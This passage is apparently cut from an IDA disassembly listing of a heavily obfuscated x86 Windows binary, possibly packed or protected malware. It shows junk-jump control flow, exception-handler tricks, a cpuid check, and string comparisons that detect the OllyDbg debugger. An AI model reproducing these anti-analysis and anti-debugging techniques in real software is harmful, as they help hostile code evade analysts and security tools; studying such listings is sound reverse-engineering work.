loc_42A57A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425063 loc_425EC5: ; CODE XREF: sub_425063+5C27j xchg ebx, [edi] not eax push edx jmp loc_424677 ; END OF FUNCTION CHUNK FOR sub_425063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_425ECF: ; CODE XREF: sub_42798F:loc_428D8Dj ; sub_42380D+7896j cmp dword ptr [ebp-8], 0A22F8A70h jz loc_425EE4 mov eax, [ebp-0Ch] call sub_424CD8 ; END OF FUNCTION CHUNK FOR sub_42798F ; START OF FUNCTION CHUNK FOR sub_4256AD loc_425EE4: ; CODE XREF: sub_428A39-4CD4j ; sub_4256AD+Dj ... mov eax, [ebp-0Ch] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4256AD ; =============== S U B R O U T I N E ======================================= sub_425EEB proc near ; DATA XREF: sub_424289:loc_423955o mov [ebp-10h], eax mov eax, [ebp-10h] call sub_42931E sub_425EEB endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425629 loc_425EF6: ; CODE XREF: sub_425629-971j jnp loc_42B565 loc_425EFC: ; DATA XREF: sub_4253F4-6D9o pop dword ptr fs:0 xchg eax, [esp+4+var_4] pop eax add eax, 67904464h add eax, ebp add eax, 6D62D30Dh push eax jmp loc_4231A4 ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_425F1A: ; CODE XREF: sub_42E5F8-4706j movzx eax, word ptr [eax+14h] push offset sub_4243D3 jmp nullsub_173 ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; --------------------------------------------------------------------------- jbe loc_42A032 jmp loc_42C978 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_425F33: ; CODE XREF: sub_42660C+BEEj jnb loc_428B79 loc_425F39: ; CODE XREF: sub_42660C:loc_429722j lea edx, [ebp-14h] push 6CE131AFh mov eax, offset sub_427802 call sub_4277FA loc_425F4B: ; CODE XREF: sub_4255E9+7FF3j jmp loc_423008 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D2D loc_425F50: ; CODE XREF: sub_428D2D+23j jmp nullsub_229 ; END OF FUNCTION CHUNK FOR sub_428D2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_425F55: ; CODE XREF: sub_428D63+37ACj shr edx, 14h ror edi, 0Bh loc_425F5B: ; CODE XREF: sub_428D63:loc_4283AFj lea eax, [ebp-26Fh] cmp dword ptr [eax], 4742444Fh jz loc_42595F jmp loc_427479 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_425F72: ; CODE XREF: sub_42AAF8+1D68j jns loc_42EDC4 ja loc_4297DB loc_425F7E: ; CODE XREF: sub_423B43+2075j ; _0182ofla:004265D5j ... pop ecx pop ebp locret_425F80: ; CODE XREF: sub_425DA5:loc_423A59j retn ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_425F81: ; CODE XREF: sub_4249FA+5294j jmp loc_42CE9C ; END OF FUNCTION CHUNK FOR sub_4249FA ; --------------------------------------------------------------------------- loc_425F86: ; CODE XREF: _0182ofla:00426C21j jmp loc_42CFD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_425F8B: ; CODE XREF: _0182ofla:004262BAj ; sub_42D056+11j call sub_429071 loc_425F90: ; CODE XREF: sub_42ADE3+26C9j jmp nullsub_127 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- mov edi, [eax] jmp sub_423AB1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_425F9D: ; CODE XREF: sub_423FE2-192j jmp loc_42E44B ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- loc_425FA2: ; CODE XREF: _0182ofla:004236EBj jmp loc_42AB5A ; --------------------------------------------------------------------------- loc_425FA7: ; DATA XREF: sub_4231D5+1F69o cmp eax, [ebp-8] jnz loc_4289D3 mov eax, [ebp-14h] mov eax, [eax+24h] jmp loc_429DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_425FBB: ; CODE XREF: sub_42448C+7j mov eax, ds:dword_42E8C4 or eax, eax jnz loc_42832E jmp loc_42A92B ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- adc eax, ecx jmp sub_423077 ; --------------------------------------------------------------------------- loc_425FD5: ; DATA XREF: sub_4290AE+7o and dword ptr [eax+24h], 7FFFFFFFh push 3E7676E6h pop eax xor eax, 0D4E0217h add eax, ebp jmp loc_42784D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AD5 loc_425FEF: ; CODE XREF: sub_427AD5j call sub_426BDA loc_425FF4: ; CODE XREF: sub_42DEBF+15j jmp loc_42637B ; END OF FUNCTION CHUNK FOR sub_427AD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426BCE loc_425FF9: ; CODE XREF: sub_426BCE+7j jmp nullsub_226 ; END OF FUNCTION CHUNK FOR sub_426BCE ; --------------------------------------------------------------------------- loc_425FFE: ; CODE XREF: _0182ofla:004296EBj and edx, 3BA7E65Fh rol edx, 18h add edx, 51BD14ABh call sub_42D71D jmp loc_42681C ; =============== S U B R O U T I N E ======================================= sub_426017 proc near ; CODE XREF: sub_42448C:loc_42626Ap mov [esp+0], eax call sub_424CD8 retn sub_426017 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426020 proc near ; CODE XREF: sub_428729+460Bp ; FUNCTION CHUNK AT 004232EC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004278D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F51 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042AEFC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042CEFD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D395 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042D703 SIZE 00000006 BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_42D395 sub_426020 endp ; --------------------------------------------------------------------------- loc_42602B: ; CODE XREF: _0182ofla:0042B68Bj xor ecx, 8F7B3252h or edx, 0B5AC03F1h ; START OF FUNCTION CHUNK FOR sub_423A2A loc_426037: ; CODE XREF: sub_423A2A:loc_42B67Ej add ebx, 404D0B65h popf xchg ebx, [esp+0] jmp sub_4265C0 ; END OF FUNCTION CHUNK FOR sub_423A2A ; =============== S U B R O U T I N E ======================================= sub_426046 proc near ; CODE XREF: sub_42349B+18BFp ; _0182ofla:0042CAE2j xchg esi, [esp+0] pop esi xor edx, edx div ecx push offset aIurlmGsHofbSi ; "‰Uà‹Mìƒá\ahŽFÄéI-" jmp nullsub_24 sub_426046 endp ; --------------------------------------------------------------------------- loc_426058: ; CODE XREF: _0182ofla:0042C900j jp loc_42ADDC mov [ebp+0], esi loc_426061: ; CODE XREF: _0182ofla:loc_424A18j cmp dword ptr [ebp-10h], 0 setnz byte ptr [ebp-5] ; START OF FUNCTION CHUNK FOR sub_42798F loc_426069: ; CODE XREF: sub_42798F:loc_427AECj ; sub_42798F+F54j ... mov al, [ebp-5] jmp loc_423F2D ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42968B loc_426071: ; CODE XREF: sub_42968B-4504j mov [ecx], eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42968B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42326C loc_426075: ; CODE XREF: sub_42968B+6j ; sub_42326C+9840j rol eax, 11h xchg eax, ebp jmp sub_42458B ; END OF FUNCTION CHUNK FOR sub_42326C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247FE loc_42607F: ; CODE XREF: sub_4247FE+13j jnz loc_4260AA lea edx, [ebp-14h] mov eax, offset dword_427A08 call sub_42B14D lea eax, [ebp-14h] push eax jmp loc_42877C ; END OF FUNCTION CHUNK FOR sub_4247FE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42609B proc near ; CODE XREF: sub_4247FEj push ebp mov ebp, esp jmp loc_42DB44 sub_42609B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247FE loc_4260A3: ; CODE XREF: sub_4247FE+5F55j xor edx, edx call sub_42B14D loc_4260AA: ; CODE XREF: sub_4247FE:loc_42607Fj ; sub_42926C+Aj mov eax, ds:dword_427A14 mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp jmp loc_4250CA ; END OF FUNCTION CHUNK FOR sub_4247FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C415 loc_4260BD: ; CODE XREF: sub_42C415:loc_42B213j push edi or ebx, 0C4319744h jmp loc_424037 ; END OF FUNCTION CHUNK FOR sub_42C415 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_4260CB: ; CODE XREF: sub_42660C:loc_4231BDj call sub_428D17 mov edx, 0F25CB94Fh call sub_42D71D push esi push 0CD64D6CBh jmp loc_42B490 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_4260E5: ; CODE XREF: sub_425BF8:loc_42567Cj mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_42AE31 call sub_425AE5 loc_4260F6: ; CODE XREF: sub_429E52-34D2j jmp loc_42CC29 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FFB loc_4260FB: ; CODE XREF: sub_423FFB+13j jmp nullsub_26 ; END OF FUNCTION CHUNK FOR sub_423FFB ; --------------------------------------------------------------------------- cmp dword ptr [ebp-0Ch], 0 jz loc_42C390 jmp loc_425E86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240FC loc_42610F: ; CODE XREF: sub_4240FC:loc_42D1F8j cmp eax, [ebp-8] jnz loc_4289D3 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] call sub_4286C8 ; END OF FUNCTION CHUNK FOR sub_4240FC ; START OF FUNCTION CHUNK FOR sub_42DDA6 loc_426126: ; CODE XREF: sub_42DDA6+7j jmp loc_42801D ; END OF FUNCTION CHUNK FOR sub_42DDA6 ; --------------------------------------------------------------------------- loc_42612B: ; CODE XREF: _0182ofla:loc_42A872j add ebx, 7E32CCFEh sub ebx, 2992300Eh and esi, edx jmp loc_42E9CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_42613E: ; CODE XREF: sub_429E52-664Aj push ecx jmp loc_424E11 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- loc_426144: ; CODE XREF: _0182ofla:00426D46j jz loc_42B02D or edi, 3E9EC403h sub eax, 12DCE79h jg loc_42AAB6 jmp loc_42C5D0 ; --------------------------------------------------------------------------- loc_426161: ; CODE XREF: _0182ofla:00429CC7j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_42C7E2 ; --------------------------------------------------------------------------- loc_426180: ; DATA XREF: sub_4258B7+9o pushf mov [esp], ecx call sub_428447 ; START OF FUNCTION CHUNK FOR sub_428F20 loc_426189: ; CODE XREF: sub_428F20-29D7j jmp nullsub_130 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42938A loc_42618E: ; CODE XREF: sub_42938A:loc_428990j and edx, 72DACD82h jmp loc_4242C4 ; END OF FUNCTION CHUNK FOR sub_42938A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4256E8 loc_426199: ; CODE XREF: sub_4256E8+8j pop ebx or ebx, 6E0EBAA5h sub ebx, 0C3254C7Fh push offset loc_42AD14 jmp nullsub_182 ; END OF FUNCTION CHUNK FOR sub_4256E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_4261B0: ; CODE XREF: sub_428F46:loc_424164j call sub_427B02 jmp loc_42E4C2 ; END OF FUNCTION CHUNK FOR sub_428F46 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42931E loc_4261BB: ; CODE XREF: sub_42931E+Dj jmp loc_426E74 ; END OF FUNCTION CHUNK FOR sub_42931E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_4261C0: ; CODE XREF: sub_425B00:loc_425C50j pop ecx mov [ebp-20h], eax jmp loc_428A5A ; END OF FUNCTION CHUNK FOR sub_425B00 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261C9 proc near ; CODE XREF: sub_425B00+2E43p push ebp mov ebp, esp jmp sub_426DC3 sub_4261C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C1A loc_4261D1: ; CODE XREF: sub_429C1A+6j mov dword ptr [eax], 594C4C4Fh lea eax, [ebp-1Ch] mov dword ptr [eax], 474244h push 0 jmp loc_424C7F ; END OF FUNCTION CHUNK FOR sub_429C1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CCE0 loc_4261E7: ; CODE XREF: sub_42CCE0:loc_4272A1j jz loc_42D73E jmp loc_4241FD ; END OF FUNCTION CHUNK FOR sub_42CCE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D2D loc_4261F2: ; CODE XREF: sub_423D2D+Cj call sub_427E81 loc_4261F7: ; DATA XREF: sub_423A42:loc_4251E5o mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_426260 mov eax, [ebp-4] call sub_425DDF ; END OF FUNCTION CHUNK FOR sub_423D2D ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42620C: ; CODE XREF: sub_428D63-5235j ; sub_42340D:loc_427264j ... mov ecx, [ebp-14h] push edx push 2E60A5FFh pop edx loc_426216: ; CODE XREF: _0182ofla:loc_423997j jmp loc_42DEFA ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E1C8 loc_42621B: ; CODE XREF: sub_42E1C8:loc_4257A8j add esi, 0A6AFA7B4h xchg esi, [esp+0] jmp sub_42C197 ; END OF FUNCTION CHUNK FOR sub_42E1C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42662C loc_426229: ; CODE XREF: sub_42662C+18j pop esi rol esi, 0Ah or esi, 16343AE1h xor esi, 0A1BADD2Eh add esi, ebp jmp loc_4275F6 ; END OF FUNCTION CHUNK FOR sub_42662C ; =============== S U B R O U T I N E ======================================= sub_426240 proc near ; CODE XREF: _0182ofla:00423443j ; sub_426571+2201p ; FUNCTION CHUNK AT 0042DBB5 SIZE 00000018 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-4] inc eax jmp loc_42DBB5 sub_426240 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_42624D: ; CODE XREF: sub_426571:loc_42A902j mov eax, [ebp-4] call sub_428EAF jmp loc_42791B ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA2D loc_42625A: ; CODE XREF: sub_42DA2D:loc_4268AEj add eax, [ebp-4] mov [ebp-0Ch], eax ; END OF FUNCTION CHUNK FOR sub_42DA2D ; START OF FUNCTION CHUNK FOR sub_424289 loc_426260: ; CODE XREF: sub_424289+Bj ; sub_423D2D+24D1j ... mov eax, [ebp-0Ch] mov esp, ebp jmp loc_428A49 ; END OF FUNCTION CHUNK FOR sub_424289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_42626A: ; CODE XREF: sub_42448C:loc_423E64j call sub_426017 loc_42626F: ; CODE XREF: sub_423A2A+49C0j jmp loc_4297ED ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_426274: ; CODE XREF: sub_42660C:loc_42E928j or edx, esi jmp loc_4239E7 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- xor edi, 0BE71A1C8h jmp loc_426E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_426286: ; CODE XREF: sub_424184+A251j mov ecx, [edx] jmp sub_4271AD ; END OF FUNCTION CHUNK FOR sub_424184 ; =============== S U B R O U T I N E ======================================= sub_42628D proc near ; DATA XREF: sub_4282B8+48E8o xchg ebx, [esp+0] jmp sub_42ECFA sub_42628D endp ; =============== S U B R O U T I N E ======================================= sub_426295 proc near ; CODE XREF: _0182ofla:00429113j ; sub_429EF7+Bp mov [esp+0], ebx loc_426298: ; CODE XREF: _0182ofla:0042A410j pop ebx add ebx, 0DA21EABBh mov [ebx], eax pop ebx retn sub_426295 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4262A3: ; CODE XREF: _0182ofla:00423F0Cj push ebx push 390DE551h pop ebx add ebx, 0C734AF84h xchg ebx, [esp] jmp loc_426742 ; --------------------------------------------------------------------------- test al, al jz loc_425F8B jmp loc_4252BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_4262C5: ; CODE XREF: sub_42448C+5329j call sub_42D81E test al, al jnz loc_42419D loc_4262D2: ; CODE XREF: _0182ofla:loc_423C04j ; sub_426571-1F74j ... pop ecx push offset sub_42419A jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428176 loc_4262DD: ; CODE XREF: sub_428176:loc_42ADABj or ecx, 8EDA425Bh sub ecx, 0BB8ED410h add ecx, 2CF1BBD4h xchg ecx, [esp+0] jmp loc_42B63B ; END OF FUNCTION CHUNK FOR sub_428176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427ED1 loc_4262F7: ; CODE XREF: sub_427ED1+5719j call sub_42E403 ; END OF FUNCTION CHUNK FOR sub_427ED1 ; START OF FUNCTION CHUNK FOR sub_42DF41 loc_4262FC: ; CODE XREF: sub_42DF41+Ej jmp loc_425B5B ; END OF FUNCTION CHUNK FOR sub_42DF41 ; --------------------------------------------------------------------------- loc_426301: ; CODE XREF: _0182ofla:0042D811j add edi, 0B7814546h push offset loc_423037 jmp loc_42453F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_426311: ; CODE XREF: sub_428D63:loc_426342j ror esi, 1Ch jmp loc_426529 ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_426319 proc near ; CODE XREF: sub_42D1C4+7p ; sub_42DF61+1Ej arg_C = dword ptr 10h ; FUNCTION CHUNK AT 0042366F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004265BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042759E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F14 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280CA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004284CB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042C10E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042C6CC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042EBBC SIZE 00000008 BYTES mov [esp-10h+arg_C], ebx pop ebx push ecx push eax sbb edx, eax jnz loc_42C10E sbb ecx, 0A742FED9h jmp loc_427F14 sub_426319 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push eax ror eax, 1Ah mov ds:dword_427150, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB4E loc_42633D: ; CODE XREF: sub_42EB4E+Dj jmp nullsub_188 ; END OF FUNCTION CHUNK FOR sub_42EB4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_426342: ; CODE XREF: sub_428D63-4CFj jmp loc_426311 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D730 loc_426347: ; CODE XREF: sub_42D730-A5C0j rol eax, 1Ah push ebx mov ebx, eax jmp loc_428F38 ; END OF FUNCTION CHUNK FOR sub_42D730 ; --------------------------------------------------------------------------- mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_424680 jmp loc_4271C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D81E loc_426364: ; CODE XREF: sub_42D81E:loc_42CBD6j lea eax, loc_426379 mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_42D81E ; --------------------------------------------------------------------------- loc_426374: ; CODE XREF: _0182ofla:0042D005j jmp loc_42767D ; --------------------------------------------------------------------------- loc_426379: ; DATA XREF: sub_42D81E:loc_426364o xor eax, eax ; START OF FUNCTION CHUNK FOR sub_427AD5 loc_42637B: ; CODE XREF: sub_427AD5:loc_425FF4j pop large dword ptr fs:0 add esp, 4 jmp nullsub_36 ; END OF FUNCTION CHUNK FOR sub_427AD5 ; --------------------------------------------------------------------------- test eax, eax jnz loc_428908 jmp loc_42911F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_426397: ; CODE XREF: sub_42798F+4B8Fj js loc_42B7E3 add eax, esi xchg esi, [edi] jmp loc_42C1F5 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- add edi, ecx jmp loc_4240F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_4263AD: ; CODE XREF: sub_425BF8:loc_429313j ; sub_42D056-31CCj lea eax, [ebp-26Fh] cmp dword ptr [eax], 47424454h jz loc_42595F jmp loc_42A3A1 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_4263C4: ; CODE XREF: sub_428D63:loc_42DEFAj xor edx, 2E60A5F8h and ecx, edx pop edx mov al, 1 jmp loc_42673D ; END OF FUNCTION CHUNK FOR sub_428D63 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F53 loc_4263D5: ; CODE XREF: sub_429F53+3j jmp sub_429EA9 ; END OF FUNCTION CHUNK FOR sub_429F53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B02 loc_4263DA: ; CODE XREF: sub_427B02-23BAj jmp loc_42866D ; END OF FUNCTION CHUNK FOR sub_427B02 ; --------------------------------------------------------------------------- loc_4263DF: ; CODE XREF: _0182ofla:0042E331j or edx, ebx jmp loc_429226 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42931E loc_4263E6: ; CODE XREF: sub_42931E-2491j push offset loc_428802 jmp nullsub_66 ; END OF FUNCTION CHUNK FOR sub_42931E ; =============== S U B R O U T I N E ======================================= sub_4263F0 proc near ; DATA XREF: sub_42ECAD:loc_42991Co mov edx, [ebp+8] mov [edx-10h], eax inc dword ptr [ebp-4] push offset loc_42854C jmp nullsub_193 sub_4263F0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D70E loc_426403: ; CODE XREF: sub_42D70E:loc_42DD48j push eax push 0C53549BBh pop eax sub eax, 4DF70E2h jmp loc_42E4A8 ; END OF FUNCTION CHUNK FOR sub_42D70E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_426415: ; CODE XREF: sub_428F20:loc_429CDFj mov eax, 1 xor edx, edx cpuid and eax, 0FFFh add [esi], eax xor [esi], edx push 5A46B847h jmp loc_42B8DA ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA65 loc_426431: ; CODE XREF: sub_42DA65-3617j pushf jmp loc_4267D2 ; END OF FUNCTION CHUNK FOR sub_42DA65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D935 loc_426437: ; CODE XREF: sub_42D935+Bj add esi, 8DE4C9F6h xchg esi, [esp+0] jmp loc_426A09 ; END OF FUNCTION CHUNK FOR sub_42D935 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426446: ; CODE XREF: _0182ofla:0042C7F8j jmp loc_423665 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_42644B: ; CODE XREF: sub_425B00+3591j jmp loc_42A779 ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_426450: ; CODE XREF: sub_42380D+1A0j jmp nullsub_48 ; END OF FUNCTION CHUNK FOR sub_42380D ; =============== S U B R O U T I N E ======================================= sub_426455 proc near ; CODE XREF: sub_423A2A+10E7p ; sub_42ECFA:loc_42E2FFp ; FUNCTION CHUNK AT 00425B91 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427491 SIZE 0000000A BYTES mov eax, cs xor al, al call sub_4296F0 loc_42645E: ; CODE XREF: sub_423D9E+6j push 6C9DB377h pop eax xor eax, 0EE86F033h rol eax, 9 jmp loc_425B91 sub_426455 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_426472: ; CODE XREF: sub_4253F4+7BB4j jo loc_42543A push 0B34766C8h jge loc_42D2A4 jmp loc_428BC9 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_426488: ; CODE XREF: sub_4282B8:loc_42C4D8j add edi, 2EBCE822h test eax, edi pop edi jz loc_42848C jmp loc_425081 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- loc_42649C: ; CODE XREF: _0182ofla:0042DA87j add edx, 495C5024h xchg edx, [esp] push ebx pushf push 0A4B08C78h pop ebx jmp loc_424AC8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC9 loc_4264B3: ; CODE XREF: sub_428AC9+56AAj jmp loc_427528 ; END OF FUNCTION CHUNK FOR sub_428AC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_4264B8: ; CODE XREF: sub_42E18E:loc_426B49j ; sub_4298DD-2D82j add eax, 4A429244h xchg eax, [esp+4+var_4] jmp sub_42C5EF ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- loc_4264C6: ; DATA XREF: sub_425D9A+1o mov ebp, esp push 2C43BA49h mov [esp], ecx mov esp, ebp pop ebp push offset sub_428D2D jmp loc_42579D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_4264DD: ; CODE XREF: sub_42B3C2:loc_426945j ; sub_425B6E+8A32j jge loc_426F33 loc_4264E3: ; CODE XREF: sub_4253F4-157j jmp loc_4255D4 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- xor ebx, 0AE8D442Bh push 9C47020Bh adc edx, 0A6F649EEh sbb edi, 665C7BB4h jmp loc_426F33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_426504: ; CODE XREF: sub_42AB3E-725Fj ; _0182ofla:004249D0j push offset loc_42B518 jmp nullsub_155 ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- loc_42650E: ; CODE XREF: _0182ofla:004265DBj jnz loc_42E870 jmp loc_42B20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_426519: ; CODE XREF: sub_423FCD+A653j push 29B02C0Bh and ebx, 0B866BD7Bh jmp loc_42404D ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_426529: ; CODE XREF: sub_428D63-2A4Fj shl eax, 1Eh xor ebx, edx push edx test edx, ebx jmp loc_42420D ; END OF FUNCTION CHUNK FOR sub_428D63 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D15D loc_426537: ; CODE XREF: sub_42D15D:loc_42DA97j pop ecx sub 